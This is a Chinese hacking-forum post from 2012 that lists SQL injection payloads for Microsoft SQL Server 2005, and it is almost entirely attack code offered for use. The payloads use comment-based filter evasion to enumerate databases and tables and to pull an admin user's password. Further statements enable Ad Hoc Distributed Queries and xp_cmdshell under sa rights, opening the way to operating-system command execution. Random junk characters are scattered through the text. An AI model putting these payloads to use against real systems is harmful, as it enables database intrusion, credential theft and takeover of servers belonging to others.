找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2368|回复: 0
打印 上一主题 下一主题

MSsql2005注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:19:47 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
' z' t: F( |  R/ s5 @

4 R7 p" ?. U* y' P! l" c/ U5 K
' h5 a; I5 i3 B: \( n5 P[Copy to clipboard]CODE:
7 n3 M: v3 k5 B/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--
' y/ |: a: q- r& G- @; a; ?1 ?: O. U1 e& R8 b
爆表语句,somedb部份是所要列的数据库,红色数字1累加
9 t5 u  _0 U% Z  Q# j$ v) I: E! i/ K- F4 l& {7 W
3 i1 k& A) w& B+ ?1 o
[Copy to clipboard]CODE:
( r" N2 b4 k4 q; p) W/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
0 K  f( w7 n! K1 H+ c6 E( v( q; ?4 S& U9 h
爆字段语句,爆表admin里user='icerover'的密码段; Z/ R! x0 l, a, u' P  F

8 C+ N, T% ?7 Q# n+ j/ O0 B$ U' j  ^
0 U* U9 w3 Q$ k( Q8 ?, ^/ t[Copy to clipboard]CODE:0 F; W4 \' e4 C- @
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--: W# ^1 `2 n% r
1 I( K% V5 R; `& g/ ~9 ^! d; h  h9 ]
mssql2005默认没有开xp_cmdshell的,openrowset也不能用/ u. Y5 g) n. g2 F# y
如果是sa权限,可以这样来开启
' j& ?1 e& f9 C7 j0 D- b; \开启openrowset
2 M/ D) V0 e9 L1 ?
. ?# n& i# [9 S2 q/ i' y0 g
' p, \1 L2 Q. S+ ~/ w: h/ x[Copy to clipboard]CODE:
2 [' n; @+ \, [1 I8 b/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--3 w# o2 t- ?- P
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--" U* r) f8 @* @7 g% a& C

6 e: v; u8 ]: U  Q3 x8 O5 ~  J开启xp_cmdshell
. k1 D" N+ u9 O6 q/ `$ o
0 Z+ u* g4 N4 ^4 I" [( ~8 `9 e" Q  d
[Copy to clipboard]CODE:
) ~! ^/ I5 I# X, G  {EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
6 J+ E% h: {# b+ k, x& P/ jEXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
1 x; @  e* K" L9 c' r
3 O+ t6 ?& E" X+ _! Wok,over~~晚安8 X4 Y& N% e- i3 R' S/ k6 U+ w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表